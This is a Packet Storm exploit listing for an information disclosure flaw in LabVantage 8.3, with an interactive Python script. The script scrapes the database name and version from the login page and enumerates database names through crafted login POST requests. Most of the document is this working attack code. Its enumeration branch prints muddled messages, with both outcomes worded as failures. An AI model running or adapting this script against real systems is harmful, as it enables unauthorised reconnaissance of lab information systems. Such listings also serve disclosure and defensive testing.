LabVantage 8.3 Information Disclosure

LabVantage version 8.3 suffers from an information disclosure vulnerability.


MD5 | ef585a038e1409c4fa25a36eedfd5953

Download
# Exploit Title: LabVantage 8.3 - Information Disclosure
# Google Dork: N/A
# Date: 2020-02-16
# Exploit Author: Joel Aviad Ossi
# Vendor Homepage: labvantage.com
# Software Link: N/A
# Version: LabVantage 8.3
# Tested on: *
# CVE : N/A


import requests
import operator


def exploit(target):
    print("[+] Fetching LabVantage Database Name..")
    start = "name=\"database\" id=\"database\" value=\""
    end = "\" >"
    vstart = "<img src=\"WEB-OPAL/layouts/images/logo_white.png\" title=\""
    vend = "viewportTest"
    print("[+] Testing URL: " + target)
    r = requests.get(target)
    memory = r.text
    print("[+] DB: " + memory[memory.find(start) + len(start):memory.rfind(end)])
    print("[+] VERSION: " + memory[memory.find(vstart) + len(vstart):memory.rfind(vend)][:-71])
    print("[+] Vulnerable!")


def vuln_check():
    target = input("\nTARGET HOST URL (example: target.com:8080): ")
    print('[+] Checking if Host is vulnerable.')
    target = (str(target) + "/labservices/logon.jsp")
    r = requests.get(target)
    memory = r.text
    s = "name=\"database\" id=\"database\" value=\""
    if not operator.contains(memory, s):
        print("[-] Not Vulnerable!")
        exit(0)
    else:
        exploit(target)


def attack():
    target = input("\nTARGET HOST URL (example: http://target.com:8080): ")
    enum = input("\nDB NAME TO CHECK: ")
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
               'Content-Type': 'application/x-www-form-urlencoded'}
    payload = ({'nexturl': 'null', 'ignorelogonurl': 'N', 'ignoreexpirywarning': 'false',
                '_viewport': 'null', 'username': 'null', 'password': 'null',
                'database': ''+str(enum)+'', 'csrftoken': 'null'})
    target = (str(target) + "/labservices/rc?command=login")
    print("[+] Testing URL: " + target)
    r = requests.post(target, headers=headers, data=payload)
    memory = r.text
    start = "Unrecognized"
    if start in memory:
        print('[+] DB NOT FOUND!')
    else:
        print('[!] NO FOUND!')


print("\n1. Vulnerability Check\n2. DB Name Enumeration\n")
option = input("CHOSE OPTION: ")
if option == "1":
    vuln_check()
elif option == "2":
    attack()
else:
    print("Wrong option selected, try again!")

Source: packetstormsecurity.com
Related Posts